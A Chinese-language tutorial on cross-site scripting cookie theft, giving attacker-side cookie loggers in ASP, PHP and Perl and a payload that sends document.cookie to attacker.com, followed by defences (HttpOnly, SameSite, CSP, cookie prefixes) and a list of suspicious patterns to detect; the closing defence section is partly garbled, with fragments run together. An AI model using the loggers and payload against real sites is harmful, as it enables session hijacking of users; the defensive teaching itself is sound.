本文僅供安全研究與防禦教學目的,嚴禁用於非法攻擊。展示的代碼為歷史漏洞利用範例,現代瀏覽器與框架均有完善防護機制。
跨站腳本攻擊(Cross-Site Scripting, XSS)允許攻擊者在受害者瀏覽器中執行惡意腳本。若網站未對用戶輸入進行恰當過濾與編碼,攻擊者可注入 JavaScript 代碼竊取 document.cookie,並發送至攻擊者控制的伺服器,從而劫持用戶會話。
<%
dim strfilename
strfilename = "mydata.txt"
set lp = Server.CreateObject("Adodb.Stream")
lp.Open
lp.Type = 2
lp.CharSet = "gb2312"
lp.WriteText Request.ServerVariables("QUERY_STRING")
lp.SaveToFile Server.MapPath(strfilename), 2
lp.Close
set lp = nothing
%>
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$info = urldecode($info);
$fp = fopen("info.txt", "a");
fwrite($fp, $info . " "); // 原文拼寫錯誤 fwirte 已修正
fclose($fp);
}
?>
#!/usr/bin/perl
# evil_cookie_logger.cgi
$borrowed_info = $ENV{QUERY_STRING};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or die "Content-type: text/html\n\nError";
print EVIL_COOKIE_LOG "$borrowed_info ";
print "Content-type: text/html\n\n";
close(EVIL_COOKIE_LOG);
攻擊者在存在 XSS 漏洞的頁面注入如下載荷:
<script>document.location='https://attacker.com/log.php?c='+escape(document.cookie)</script>
受害者訪問該頁面時,Cookie 會被發送至 attacker.com/log.php,攻擊端腳本(如上述 PHP/ASP/Perl)將其記錄下來。
// PHP 設置 Cookie 示例
setcookie("session_id", $value, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true, // 僅 HTTPS 傳輸
'httponly' => true, // 禁止 JavaScript 訪問
'samesite' => 'Strict' // 防禦 CSRF
]);
HttpOnly 可有效阻斷 document.cookie 竊取,是防禦 XSS 會話劫持的核心手段。
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; object-src 'none'; base-uri 'self';
CSP 限制腳本來源,即便存在注入點,瀏覽器也會拒絕執行非授權腳本。
django.middleware.security.SecurityMiddlewareContentSecurityPolicyFilter__Host- 前綴:要求 Secure、Path=/、無 Domain 屬性__Secure- 前綴:要求 Secure 屬性document.cookie、eval(、unescape(、fromCharCode 等可疑模式的請求$_GET/$_POST/$_REQUEST 直接輸出點Cookie 竊取是 XSS 攻擊的經典利用方式,但現代 Web 安全體系(HttpOnly、CSP、SameSite、模板自動逃逸)已構建起多層防線。開發者應以「不信任任何輸出」為原則,結合框架內建防護與安全響應頭,從根源上消除 XSS 風險。